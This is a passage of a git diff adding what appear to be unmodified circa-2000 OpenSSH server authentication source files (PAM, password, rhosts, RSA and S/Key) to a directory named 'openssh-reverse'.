pw->pw_name); + + pam_retval = pam_start(SSHD_PAM_SERVICE, pw->pw_name, &conv, + (pam_handle_t**)&pamh); + + if (pam_retval != PAM_SUCCESS) { + fatal("PAM initialisation failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + +#ifdef PAM_TTY_KLUDGE + /* + * Some PAM modules (e.g. pam_time) require a TTY to operate, + * and will fail in various stupid ways if they don't get one. + * sshd doesn't set the tty until too late in the auth process and may + * not even need one (for tty-less connections) + * Kludge: Set a fake PAM_TTY + */ + pam_retval = pam_set_item((pam_handle_t *)pamh, PAM_TTY, "ssh"); + if (pam_retval != PAM_SUCCESS) { + fatal("PAM set tty failed: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } +#endif /* PAM_TTY_KLUDGE */ + + fatal_add_cleanup(&pam_cleanup_proc, NULL); +} + +/* Return list of PAM enviornment strings */ +char **fetch_pam_environment(void) +{ +#ifdef HAVE_PAM_GETENVLIST + return(pam_getenvlist((pam_handle_t *)pamh)); +#else /* HAVE_PAM_GETENVLIST */ + return(NULL); +#endif /* HAVE_PAM_GETENVLIST */ +} + +/* Print any messages that have been generated during authentication */ +/* or account checking to stderr */ +void print_pam_messages(void) +{ + if (pam_msg != NULL) + fputs(pam_msg, stderr); +} + +/* Append a message to the PAM message buffer */ +void pam_msg_cat(const char *msg) +{ + char *p; + size_t new_msg_len; + size_t pam_msg_len; + + new_msg_len = strlen(msg); + + if (pam_msg) { + pam_msg_len = strlen(pam_msg); + pam_msg = xrealloc(pam_msg, new_msg_len + pam_msg_len + 2); + p = pam_msg + pam_msg_len; + } else { + pam_msg = p = xmalloc(new_msg_len + 2); + } + + memcpy(p, msg, new_msg_len); + p[new_msg_len] = '\n'; + p[new_msg_len + 1] = '\0'; +} + +#endif /* USE_PAM */ diff --git a/other/openssh-reverse/auth-pam.h b/other/openssh-reverse/auth-pam.h new file mode 100644 index 0000000..191d80c --- /dev/null +++ b/other/openssh-reverse/auth-pam.h @@ -0,0 +1,15 @@ +#include "includes.h" +#ifdef USE_PAM + +#include /* For struct passwd */ + +void start_pam(struct passwd *pw); +void finish_pam(void); +int auth_pam_password(struct passwd *pw, const char *password); +char **fetch_pam_environment(void); +int do_pam_account(char *username, char *remote_user); +void do_pam_session(char *username, const char *ttyname); +void do_pam_setcred(); +void print_pam_messages(void); + +#endif /* USE_PAM */ diff --git a/other/openssh-reverse/auth-passwd.c b/other/openssh-reverse/auth-passwd.c new file mode 100644 index 0000000..93756e9 --- /dev/null +++ b/other/openssh-reverse/auth-passwd.c @@ -0,0 +1,142 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Sat Mar 18 05:11:38 1995 ylo + * Password authentication. This file contains the functions to check whether + * the password is valid for the user. + */ + +#include "includes.h" + +RCSID("$OpenBSD: auth-passwd.c,v 1.16 2000/06/20 01:39:38 markus Exp $"); + +#if !defined(USE_PAM) && !defined(HAVE_OSF_SIA) + +#include "packet.h" +#include "ssh.h" +#include "servconf.h" +#include "xmalloc.h" + +#ifdef WITH_AIXAUTHENTICATE +# include +#endif +#ifdef HAVE_HPUX_TRUSTED_SYSTEM_PW +# include +# include +#endif +#ifdef HAVE_SHADOW_H +# include +#endif +#ifdef HAVE_GETPWANAM +# include +# include +# include +#endif +#if defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) +# include "md5crypt.h" +#endif /* defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) */ + +/* + * Tries to authenticate the user using password. Returns true if + * authentication succeeds. + */ +int +auth_password(struct passwd * pw, const char *password) +{ + extern ServerOptions options; + char *encrypted_password; + char *pw_password; + char *salt; +#ifdef HAVE_SHADOW_H + struct spwd *spw; +#endif +#ifdef HAVE_GETPWANAM + struct passwd_adjunct *spw; +#endif +#ifdef WITH_AIXAUTHENTICATE + char *authmsg; + char *loginmsg; + int reenter = 1; +#endif + + /* deny if no user. */ + if (pw == NULL) + return 0; + if (pw->pw_uid == 0 && options.permit_root_login == 2) + return 0; + if (*password == '\0' && options.permit_empty_passwd == 0) + return 0; + +#ifdef SKEY + if (options.skey_authentication == 1) { + int ret = auth_skey_password(pw, password); + if (ret == 1 || ret == 0) + return ret; + /* Fall back to ordinary passwd authentication. */ + } +#endif + +#ifdef WITH_AIXAUTHENTICATE + return (authenticate(pw->pw_name,password,&reenter,&authmsg) == 0); +#endif + +#ifdef KRB4 + if (options.kerberos_authentication == 1) { + int ret = auth_krb4_password(pw, password); + if (ret == 1 || ret == 0) + return ret; + /* Fall back to ordinary passwd authentication. */ + } +#endif + + /* Check for users with no password. */ + if (strcmp(password, "") == 0 && strcmp(pw->pw_passwd, "") == 0) + return 1; + + pw_password = pw->pw_passwd; + +#if defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) + spw = getspnam(pw->pw_name); + if (spw != NULL) + { + /* Check for users with no password. */ + if (strcmp(password, "") == 0 && strcmp(spw->sp_pwdp, "") == 0) + return 1; + + pw_password = spw->sp_pwdp; + } +#endif /* defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) */ +#if defined(HAVE_GETPWANAM) && !defined(DISABLE_SHADOW) + if (issecure() && (spw = getpwanam(pw->pw_name)) != NULL) + { + /* Check for users with no password. */ + if (strcmp(password, "") == 0 && strcmp(spw->pwa_passwd, "") == 0) + return 1; + + pw_password = spw->pwa_passwd; + } +#endif /* defined(HAVE_GETPWANAM) && !defined(DISABLE_SHADOW) */ + + if (pw_password[0] != '\0') + salt = pw_password; + else + salt = "xx"; + +#ifdef HAVE_MD5_PASSWORDS + if (is_md5_salt(salt)) + encrypted_password = md5_crypt(password, salt); + else + encrypted_password = crypt(password, salt); +#else /* HAVE_MD5_PASSWORDS */ +# ifdef HAVE_HPUX_TRUSTED_SYSTEM_PW + encrypted_password = bigcrypt(password, salt); +# else + encrypted_password = crypt(password, salt); +# endif /* HAVE_HPUX_TRUSTED_SYSTEM_PW */ +#endif /* HAVE_MD5_PASSWORDS */ + + /* Authentication is accepted if the encrypted passwords are identical. */ + return (strcmp(encrypted_password, pw_password) == 0); +} +#endif /* !USE_PAM && !HAVE_OSF_SIA */ diff --git a/other/openssh-reverse/auth-rh-rsa.c b/other/openssh-reverse/auth-rh-rsa.c new file mode 100644 index 0000000..4386758 --- /dev/null +++ b/other/openssh-reverse/auth-rh-rsa.c @@ -0,0 +1,115 @@ +/* + * + * auth-rh-rsa.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sun May 7 03:08:06 1995 ylo + * + * Rhosts or /etc/hosts.equiv authentication combined with RSA host + * authentication. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: auth-rh-rsa.c,v 1.14 2000/06/20 01:39:38 markus Exp $"); + +#include "packet.h" +#include "ssh.h" +#include "xmalloc.h" +#include "uidswap.h" +#include "servconf.h" + +#include +#include +#include "key.h" +#include "hostfile.h" + +/* + * Tries to authenticate the user using the .rhosts file and the host using + * its host key. Returns true if authentication succeeds. + */ + +int +auth_rhosts_rsa(struct passwd *pw, const char *client_user, RSA *client_host_key) +{ + extern ServerOptions options; + const char *canonical_hostname; + HostStatus host_status; + Key *client_key, *found; + + debug("Trying rhosts with RSA host authentication for %.100s", client_user); + + if (client_host_key == NULL) + return 0; + + /* Check if we would accept it using rhosts authentication. */ + if (!auth_rhosts(pw, client_user)) + return 0; + + canonical_hostname = get_canonical_hostname(); + + debug("Rhosts RSA authentication: canonical host %.900s", canonical_hostname); + + /* wrap the RSA key into a 'generic' key */ + client_key = key_new(KEY_RSA); + BN_copy(client_key->rsa->e, client_host_key->e); + BN_copy(client_key->rsa->n, client_host_key->n); + found = key_new(KEY_RSA); + + /* Check if we know the host and its host key. */ + host_status = check_host_in_hostfile(SSH_SYSTEM_HOSTFILE, canonical_hostname, + client_key, found); + + /* Check user host file unless ignored. */ + if (host_status != HOST_OK && !options.ignore_user_known_hosts) { + struct stat st; + char *user_hostfile = tilde_expand_filename(SSH_USER_HOSTFILE, pw->pw_uid); + /* + * Check file permissions of SSH_USER_HOSTFILE, auth_rsa() + * did already check pw->pw_dir, but there is a race XXX + */ + if (options.strict_modes && + (stat(user_hostfile, &st) == 0) && + ((st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0)) { + log("Rhosts RSA authentication refused for %.100s: bad owner or modes for %.200s", + pw->pw_name, user_hostfile); + } else { + /* XXX race between stat and the following open() */ + temporarily_use_uid(pw->pw_uid); + host_status = check_host_in_hostfile(user_hostfile, canonical_hostname, + client_key, found); + restore_uid(); + } + xfree(user_hostfile); + } + key_free(client_key); + key_free(found); + + if (host_status != HOST_OK) { + debug("Rhosts with RSA host authentication denied: unknown or invalid host key"); + packet_send_debug("Your host key cannot be verified: unknown or invalid host key."); + return 0; + } + /* A matching host key was found and is known. */ + + /* Perform the challenge-response dialog with the client for the host key. */ + if (!auth_rsa_challenge_dialog(client_host_key)) { + log("Client on %.800s failed to respond correctly to host authentication.", + canonical_hostname); + return 0; + } + /* + * We have authenticated the user using .rhosts or /etc/hosts.equiv, + * and the host using RSA. We accept the authentication. + */ + + verbose("Rhosts with RSA host authentication accepted for %.100s, %.100s on %.700s.", + pw->pw_name, client_user, canonical_hostname); + packet_send_debug("Rhosts with RSA host authentication accepted."); + return 1; +} diff --git a/other/openssh-reverse/auth-rhosts.c b/other/openssh-reverse/auth-rhosts.c new file mode 100644 index 0000000..f670276 --- /dev/null +++ b/other/openssh-reverse/auth-rhosts.c @@ -0,0 +1,266 @@ +/* + * + * auth-rhosts.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 17 05:12:18 1995 ylo + * + * Rhosts authentication. This file contains code to check whether to admit + * the login based on rhosts authentication. This file also processes + * /etc/hosts.equiv. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: auth-rhosts.c,v 1.14 2000/06/20 01:39:38 markus Exp $"); + +#include "packet.h" +#include "ssh.h" +#include "xmalloc.h" +#include "uidswap.h" +#include "servconf.h" + +/* + * This function processes an rhosts-style file (.rhosts, .shosts, or + * /etc/hosts.equiv). This returns true if authentication can be granted + * based on the file, and returns zero otherwise. + */ + +int +check_rhosts_file(const char *filename, const char *hostname, + const char *ipaddr, const char *client_user, + const char *server_user) +{ + FILE *f; + char buf[1024]; /* Must not be larger than host, user, dummy below. */ + + /* Open the .rhosts file, deny if unreadable */ + f = fopen(filename, "r"); + if (!f) + return 0; + + while (fgets(buf, sizeof(buf), f)) { + /* All three must be at least as big as buf to avoid overflows. */ + char hostbuf[1024], userbuf[1024], dummy[1024], *host, *user, *cp; + int negated; + + for (cp = buf; *cp == ' ' || *cp == '\t'; cp++) + ; + if (*cp == '#' || *cp == '\n' || !*cp) + continue; + + /* + * NO_PLUS is supported at least on OSF/1. We skip it (we + * don't ever support the plus syntax). + */ + if (strncmp(cp, "NO_PLUS", 7) == 0) + continue; + + /* + * This should be safe because each buffer is as big as the + * whole string, and thus cannot be overwritten. + */ + switch (sscanf(buf, "%s %s %s", hostbuf, userbuf, dummy)) { + case 0: + packet_send_debug("Found empty line in %.100s.", filename); + continue; + case 1: + /* Host name only. */ + strlcpy(userbuf, server_user, sizeof(userbuf)); + break; + case 2: + /* Got both host and user name. */ + break; + case 3: + packet_send_debug("Found garbage in %.100s.", filename); + continue; + default: + /* Weird... */ + continue; + } + + host = hostbuf; + user = userbuf; + negated = 0; + + /* Process negated host names, or positive netgroups. */ + if (host[0] == '-') { + negated = 1; + host++; + } else if (host[0] == '+') + host++; + + if (user[0] == '-') { + negated = 1; + user++; + } else if (user[0] == '+') + user++; + + /* Check for empty host/user names (particularly '+'). */ + if (!host[0] || !user[0]) { + /* We come here if either was '+' or '-'. */ + packet_send_debug("Ignoring wild host/user names in %.100s.", + filename); + continue; + } + /* Verify that host name matches. */ + if (host[0] == '@') { + if (!innetgr(host + 1, hostname, NULL, NULL) && + !innetgr(host + 1, ipaddr, NULL, NULL)) + continue; + } else if (strcasecmp(host, hostname) && strcmp(host, ipaddr) != 0) + continue; /* Different hostname. */ + + /* Verify that user name matches. */ + if (user[0] == '@') { + if (!innetgr(user + 1, NULL, client_user, NULL)) + continue; + } else if (strcmp(user, client_user) != 0) + continue; /* Different username. */ + + /* Found the user and host. */ + fclose(f); + + /* If the entry was negated, deny access. */ + if (negated) { + packet_send_debug("Matched negative entry in %.100s.", + filename); + return 0; + } + /* Accept authentication. */ + return 1; + } + + /* Authentication using this file denied. */ + fclose(f); + return 0; +} + +/* + * Tries to authenticate the user using the .shosts or .rhosts file. Returns + * true if authentication succeeds. If ignore_rhosts is true, only + * /etc/hosts.equiv will be considered (.rhosts and .shosts are ignored). + */ + +int +auth_rhosts(struct passwd *pw, const char *client_user) +{ + extern ServerOptions options; + char buf[1024]; + const char *hostname, *ipaddr; + struct stat st; + static const char *rhosts_files[] = {".shosts", ".rhosts", NULL}; + unsigned int rhosts_file_index; + + /* Switch to the user's uid. */ + temporarily_use_uid(pw->pw_uid); + /* + * Quick check: if the user has no .shosts or .rhosts files, return + * failure immediately without doing costly lookups from name + * servers. + */ + for (rhosts_file_index = 0; rhosts_files[rhosts_file_index]; + rhosts_file_index++) { + /* Check users .rhosts or .shosts. */ + snprintf(buf, sizeof buf, "%.500s/%.100s", + pw->pw_dir, rhosts_files[rhosts_file_index]); + if (stat(buf, &st) >= 0) + break; + } + /* Switch back to privileged uid. */ + restore_uid(); + + /* Deny if The user has no .shosts or .rhosts file and there are no system-wide files. */ + if (!rhosts_files[rhosts_file_index] && + stat("/etc/hosts.equiv", &st) < 0 && + stat(SSH_HOSTS_EQUIV, &st) < 0) + return 0; + + hostname = get_canonical_hostname(); + ipaddr = get_remote_ipaddr(); + + /* If not logging in as superuser, try /etc/hosts.equiv and shosts.equiv. */ + if (pw->pw_uid != 0) { + if (check_rhosts_file("/etc/hosts.equiv", hostname, ipaddr, client_user, + pw->pw_name)) { + packet_send_debug("Accepted for %.100s [%.100s] by /etc/hosts.equiv.", + hostname, ipaddr); + return 1; + } + if (check_rhosts_file(SSH_HOSTS_EQUIV, hostname, ipaddr, client_user, + pw->pw_name)) { + packet_send_debug("Accepted for %.100s [%.100s] by %.100s.", + hostname, ipaddr, SSH_HOSTS_EQUIV); + return 1; + } + } + /* + * Check that the home directory is owned by root or the user, and is + * not group or world writable. + */ + if (stat(pw->pw_dir, &st) < 0) { + log("Rhosts authentication refused for %.100s: no home directory %.200s", + pw->pw_name, pw->pw_dir); + packet_send_debug("Rhosts authentication refused for %.100s: no home directory %.200s", + pw->pw_name, pw->pw_dir); + return 0; + } + if (options.strict_modes && + ((st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0)) { + log("Rhosts authentication refused for %.100s: bad ownership or modes for home directory.", + pw->pw_name); + packet_send_debug("Rhosts authentication refused for %.100s: bad ownership or modes for home directory.", + pw->pw_name); + return 0; + } + /* Temporarily use the user's uid. */ + temporarily_use_uid(pw->pw_uid); + + /* Check all .rhosts files (currently .shosts and .rhosts). */ + for (rhosts_file_index = 0; rhosts_files[rhosts_file_index]; + rhosts_file_index++) { + /* Check users .rhosts or .shosts. */ + snprintf(buf, sizeof buf, "%.500s/%.100s", + pw->pw_dir, rhosts_files[rhosts_file_index]); + if (stat(buf, &st) < 0) + continue; + + /* + * Make sure that the file is either owned by the user or by + * root, and make sure it is not writable by anyone but the + * owner. This is to help avoid novices accidentally + * allowing access to their account by anyone. + */ + if (options.strict_modes && + ((st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0)) { + log("Rhosts authentication refused for %.100s: bad modes for %.200s", + pw->pw_name, buf); + packet_send_debug("Bad file modes for %.200s", buf); + continue; + } + /* Check if we have been configured to ignore .rhosts and .shosts files. */ + if (options.ignore_rhosts) { + packet_send_debug("Server has been configured to ignore %.100s.", + rhosts_files[rhosts_file_index]); + continue; + } + /* Check if authentication is permitted by the file. */ + if (check_rhosts_file(buf, hostname, ipaddr, client_user, pw->pw_name)) { + packet_send_debug("Accepted by %.100s.", + rhosts_files[rhosts_file_index]); + /* Restore the privileged uid. */ + restore_uid(); + return 1; + } + } + + /* Restore the privileged uid. */ + restore_uid(); + return 0; +} diff --git a/other/openssh-reverse/auth-rsa.c b/other/openssh-reverse/auth-rsa.c new file mode 100644 index 0000000..65f9bf7 --- /dev/null +++ b/other/openssh-reverse/auth-rsa.c @@ -0,0 +1,285 @@ +/* + * + * auth-rsa.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Mar 27 01:46:52 1995 ylo + * + * RSA-based authentication. This code determines whether to admit a login + * based on RSA authentication. This file also contains functions to check + * validity of the host key. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: auth-rsa.c,v 1.27 2000/07/07 03:55:03 todd Exp $"); + +#include "rsa.h" +#include "packet.h" +#include "xmalloc.h" +#include "ssh.h" +#include "mpaux.h" +#include "uidswap.h" +#include "match.h" +#include "servconf.h" +#include "auth-options.h" + +#include +#include + +/* + * Session identifier that is used to bind key exchange and authentication + * responses to a particular session. + */ +extern unsigned char session_id[16]; + +/* + * The .ssh/authorized_keys file contains public keys, one per line, in the + * following format: + * options bits e n comment + * where bits, e and n are decimal numbers, + * and comment is any string of characters up to newline. The maximum + * length of a line is 8000 characters. See the documentation for a + * description of the options. + */ + +/* + * Performs the RSA authentication challenge-response dialog with the client, + * and returns true (non-zero) if the client gave the correct answer to + * our challenge; returns zero if the client gives a wrong answer. + */ + +int +auth_rsa_challenge_dialog(RSA *pk) +{ + BIGNUM *challenge, *encrypted_challenge; + BN_CTX *ctx; + unsigned char buf[32], mdbuf[16], response[16]; + MD5_CTX md; + unsigned int i; + int plen, len; + + encrypted_challenge = BN_new(); + challenge = BN_new(); + + /* Generate a random challenge. */ + BN_rand(challenge, 256, 0, 0); + ctx = BN_CTX_new(); + BN_mod(challenge, challenge, pk->n, ctx); + BN_CTX_free(ctx); + + /* Encrypt the challenge with the public key. */ + rsa_public_encrypt(encrypted_challenge, challenge, pk); + + /* Send the encrypted challenge to the client. */ + packet_start(SSH_SMSG_AUTH_RSA_CHALLENGE); + packet_put_bignum(encrypted_challenge); + packet_send(); + BN_clear_free(encrypted_challenge); + packet_write_wait(); + + /* Wait for a response. */ + packet_read_expect(&plen, SSH_CMSG_AUTH_RSA_RESPONSE); + packet_integrity_check(plen, 16, SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + response[i] = packet_get_char(); + + /* The response is MD5 of decrypted challenge plus session id. */ + len = BN_num_bytes(challenge); + if (len <= 0 || len > 32) + fatal("auth_rsa_challenge_dialog: bad challenge length %d", len); + memset(buf, 0, 32); + BN_bn2bin(challenge, buf + 32 - len); + MD5_Init(&md); + MD5_Update(&md, buf, 32); + MD5_Update(&md, session_id, 16); + MD5_Final(mdbuf, &md); + BN_clear_free(challenge); + + /* Verify that the response is the original challenge. */ + if (memcmp(response, mdbuf, 16) != 0) { + /* Wrong answer. */ + return 0; + } + /* Correct answer. */ + return 1; +} + +/* + * Performs the RSA authentication dialog with the client. This returns + * 0 if the client could not be authenticated, and 1 if authentication was + * successful. This may exit if there is a serious protocol violation. + */ + +int +auth_rsa(struct passwd *pw, BIGNUM *client_n) +{ + extern ServerOptions options; + char line[8192], file[1024]; + int authenticated; + unsigned int bits; + FILE *f; + unsigned long linenum = 0; + struct stat st; + RSA *pk; + + /* Temporarily use the user's uid. */ + temporarily_use_uid(pw->pw_uid); + + /* The authorized keys. */ + snprintf(file, sizeof file, "%.500s/%.100s", pw->pw_dir, + SSH_USER_PERMITTED_KEYS); + + /* Fail quietly if file does not exist */ + if (stat(file, &st) < 0) { + /* Restore the privileged uid. */ + restore_uid(); + return 0; + } + /* Open the file containing the authorized keys. */ + f = fopen(file, "r"); + if (!f) { + /* Restore the privileged uid. */ + restore_uid(); + packet_send_debug("Could not open %.900s for reading.", file); + packet_send_debug("If your home is on an NFS volume, it may need to be world-readable."); + return 0; + } + if (options.strict_modes) { + int fail = 0; + char buf[1024]; + /* Check open file in order to avoid open/stat races */ + if (fstat(fileno(f), &st) < 0 || + (st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0) { + snprintf(buf, sizeof buf, "RSA authentication refused for %.100s: " + "bad ownership or modes for '%s'.", pw->pw_name, file); + fail = 1; + } else { + /* Check path to SSH_USER_PERMITTED_KEYS */ + int i; + static const char *check[] = { + "", SSH_USER_DIR, NULL + }; + for (i = 0; check[i]; i++) { + snprintf(line, sizeof line, "%.500s/%.100s", pw->pw_dir, check[i]); + if (stat(line, &st) < 0 || + (st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0) { + snprintf(buf, sizeof buf, "RSA authentication refused for %.100s: " + "bad ownership or modes for '%s'.", pw->pw_name, line); + fail = 1; + break; + } + } + } + if (fail) { + fclose(f); + log("%s",buf); + packet_send_debug("%s",buf); + restore_uid(); + return 0; + } + } + /* Flag indicating whether authentication has succeeded. */ + authenticated = 0; + + pk = RSA_new(); + pk->e = BN_new(); + pk->n = BN_new(); + + /* + * Go though the accepted keys, looking for the current key. If + * found, perform a challenge-response dialog to verify that the + * user really has the corresponding private key. + */ + while (fgets(line, sizeof(line), f)) { + char *cp; + char *options; + + linenum++; + + /* Skip leading whitespace, empty and comment lines. */ + for (cp = line; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '\n' || *cp == '#') + continue; + + /* + * Check if there are options for this key, and if so, + * save their starting address and skip the option part + * for now. If there are no options, set the starting + * address to NULL. + */ + if (*cp < '0' || *cp > '9') { + int quoted = 0; + options = cp; + for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { + if (*cp == '\\' && cp[1] == '"') + cp++; /* Skip both */ + else if (*cp == '"') + quoted = !quoted; + } + } else + options = NULL; + + /* Parse the key from the line. */ + if (!auth_rsa_read_key(&cp, &bits, pk->e, pk->n)) { + debug("%.100s, line %lu: bad key syntax", + SSH_USER_PERMITTED_KEYS, linenum); + packet_send_debug("%.100s, line %lu: bad key syntax", + SSH_USER_PERMITTED_KEYS, linenum); + continue; + } + /* cp now points to the comment part. */ + + /* Check if the we have found the desired key (identified by its modulus). */ + if (BN_cmp(pk->n, client_n) != 0) + continue; + + /* check the real bits */ + if (bits != BN_num_bits(pk->n)) + log("Warning: %s, line %ld: keysize mismatch: " + "actual %d vs. announced %d.", + file, linenum, BN_num_bits(pk->n), bits); + + /* We have found the desired key. */ + + /* Perform the challenge-response dialog for this key. */ + if (!auth_rsa_challenge_dialog(pk)) { + /* Wrong response. */ + verbose("Wrong response to RSA authentication challenge."); + packet_send_debug("Wrong response to RSA authentication challenge."); + continue; + } + /* + * Correct response. The client has been successfully + * authenticated. Note that we have not yet processed the + * options; this will be reset if the options cause the + * authentication to be rejected. + * Break out of the loop if authentication was successful; + * otherwise continue searching. + */ + authenticated = auth_parse_options(pw, options, linenum); + if (authenticated) + break; + } + + /* Restore the privileged uid. */ + restore_uid(); + + /* Close the file. */ + fclose(f); + + RSA_free(pk); + + if (authenticated) + packet_send_debug("RSA authentication accepted."); + + /* Return authentication result. */ + return authenticated; +} diff --git a/other/openssh-reverse/auth-skey.c b/other/openssh-reverse/auth-skey.c new file mode 100644 index 0000000..208d380 --- /dev/null +++ b/other/openssh-reverse/auth-skey.c @@ -0,0 +1,191 @@ +#include "includes.h" +#ifdef SKEY +RCSID("$OpenBSD: auth-skey.c,v 1.7 2000/06/20 01:39:38 markus Exp $"); + +#include "ssh.h" +#include "packet.h" +#include + +/* from %OpenBSD: skeylogin.c,v 1.32 1999/08/16 14:46:56 millert Exp % */ + +/* + * try skey authentication, + * return 1 on success, 0 on failure, -1 if skey is not available + */ + +int +auth_skey_password(struct passwd * pw, const char *password) +{ + if (strncasecmp(password, "s/key", 5) == 0) { + char *skeyinfo = skey_keyinfo(pw->pw_name); + if (skeyinfo == NULL) { + debug("generating fake skeyinfo for %.100s.", + pw->pw_name); + skeyinfo = skey_fake_keyinfo(pw->pw_name); + } + if (skeyinfo != NULL) + packet_send_debug(skeyinfo); + /* Try again. */ + return 0; + } else if (skey_haskey(pw->pw_name) == 0 && + skey_passcheck(pw->pw_name, (char *) password) != -1) { + /* Authentication succeeded. */ + return 1; + } + /* Fall back to ordinary passwd authentication. */ + return -1; +} + +/* from %OpenBSD: skeylogin.c,v 1.32 1999/08/16 14:46:56 millert Exp % */ + +#define ROUND(x) (((x)[0] << 24) + (((x)[1]) << 16) + (((x)[2]) << 8) + \ + ((x)[3])) + +/* + * hash_collapse() + */ +static u_int32_t +hash_collapse(s) + u_char *s; +{ + int len, target; + u_int32_t i; + + if ((strlen(s) % sizeof(u_int32_t)) == 0) + target = strlen(s); /* Multiple of 4 */ + else + target = strlen(s) - (strlen(s) % sizeof(u_int32_t)); + + for (i = 0, len = 0; len < target; len += 4) + i ^= ROUND(s + len); + + return i; +} + +char * +skey_fake_keyinfo(char *username) +{ + int i; + u_int ptr; + u_char hseed[SKEY_MAX_SEED_LEN], flg = 1, *up; + char pbuf[SKEY_MAX_PW_LEN+1]; + static char skeyprompt[SKEY_MAX_CHALLENGE+1]; + char *secret = NULL; + size_t secretlen = 0; + SHA_CTX ctx; + char *p, *u; + + /* + * Base first 4 chars of seed on hostname. + * Add some filler for short hostnames if necessary. + */ + if (gethostname(pbuf, sizeof(pbuf)) == -1) + *(p = pbuf) = '.'; + else + for (p = pbuf; *p && isalnum(*p); p++) + if (isalpha(*p) && isupper(*p)) + *p = tolower(*p); + if (*p && pbuf - p < 4) + (void)strncpy(p, "asjd", 4 - (pbuf - p)); + pbuf[4] = '\0'; + + /* Hash the username if possible */ + up = malloc(SHA_DIGEST_LENGTH); + if (up != NULL) { + struct stat sb; + time_t t; + int fd; + + SHA1_Init(&ctx); + SHA1_Update(&ctx, username, strlen(username)); + SHA1_Final(up, &ctx); + + /* Collapse the hash */ + ptr = hash_collapse(up); + memset(up, 0, strlen(up)); + + /* See if the random file's there, else use ctime */ + if ((fd = open(_SKEY_RAND_FILE_PATH_, O_RDONLY)) != -1 + && fstat(fd, &sb) == 0 && + sb.st_size > (off_t)SKEY_MAX_SEED_LEN && + lseek(fd, ptr % (sb.st_size - SKEY_MAX_SEED_LEN), + SEEK_SET) != -1 && read(fd, hseed, + SKEY_MAX_SEED_LEN) == SKEY_MAX_SEED_LEN) { + close(fd); + fd = -1; + secret = hseed; + secretlen = SKEY_MAX_SEED_LEN; + flg = 0; + } else if (!stat(_PATH_MEM, &sb) || !stat("/", &sb)) { + t = sb.st_ctime; + secret = ctime(&t); + secretlen = strlen(secret); + flg = 0; + } + if (fd != -1) + close(fd); + } + + /* Put that in your pipe and smoke it */ + if (flg == 0) { + /* Hash secret value with username */ + SHA1_Init(&ctx); + SHA1_Update(&ctx, secret, secretlen); + SHA1_Update(&ctx, username, strlen(username)); + SHA1_Final(up, &ctx); + + /* Zero out */ + memset(secret, 0, secretlen); + + /* Now hash the hash */ + SHA1_Init(&ctx); + SHA1_Update(&ctx, up, strlen(up)); + SHA1_Final(up, &ctx); + + ptr = hash_collapse(up + 4); + + for (i = 4; i < 9; i++) { + pbuf[i] = (ptr % 10) + '0'; + ptr /= 10; + } + pbuf[i] = '\0'; + + /* Sequence number */ + ptr = ((up[2] + up[3]) % 99) + 1; + + memset(up, 0, SHA_DIGEST_LENGTH); /* SHA1 specific */ + free(up); + + (void)snprintf(skeyprompt, sizeof skeyprompt, + "otp-%.*s %d %.*s", + SKEY_MAX_HASHNAME_LEN, + skey_get_algorithm(), + ptr, SKEY_MAX_SEED_LEN, + pbuf); + } else { + /* Base last 8 chars of seed on username */ + u = username; + i = 8; + p = &pbuf[4]; + do { + if (*u == 0) { + /* Pad remainder with zeros */ + while (--i >= 0) + *p++ = '0'; + break; + } + + *p++ = (*u++ % 10) + '0'; + } while (--i != 0); + pbuf[12] = '\0'; + + (void)snprintf(skeyprompt, sizeof skeyprompt, + "otp-%.*s %d %.*s", + SKEY_MAX_HASHNAME_LEN, + skey_get_algorithm(), + 99, SKEY_MAX_SEED_LEN, pbuf); + } + return skeyprompt; +} + +#endif /* SKEY */ diff --git a/other/openssh-reverse/auth.c b/other/openssh-reverse/auth.c new file mode 100644 index 0000000..5aeeec6 --- /dev/null +++ b/other/openssh-reverse/auth.c @@ -0,0 +1,167 @@ +/* + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Copyright (c) 2000 Markus Friedl. All rights reserved. + */ + +#include "includes.h" +RCSID("$OpenBSD: auth.c,v 1.7 2000/05/17 21:37:24 deraadt Exp $"); + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh.h" +#include "pty.h" +#include "packet.h" +#include "buffer.h" +#include "cipher.h" +#include "mpaux.h" +#include "servconf.h" +#include "compat.h" +#include "channels.h" +#include "match.h" +#ifdef HAVE_LOGIN_H +#include +#endif +#if defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) +#include +#endif /* defined(HAVE_SHADOW_H) && !defined(DISABLE_SHADOW) */ + +#include "bufaux.h" +#include "ssh2.h" +#include "auth.h" +#include "session.h" +#include "dispatch.h" + + +/* import */ +extern ServerOptions options; +extern char *forced_command; + +/* + * Check if the user is allowed to log in via ssh. If user is listed in + * DenyUsers or user's primary group is listed in DenyGroups, false will + * be returned. If AllowUsers isn't empty and user isn't listed there, or + * if AllowGroups isn't empty and user isn't listed there, false will be + * returned. + * If the user's shell is not 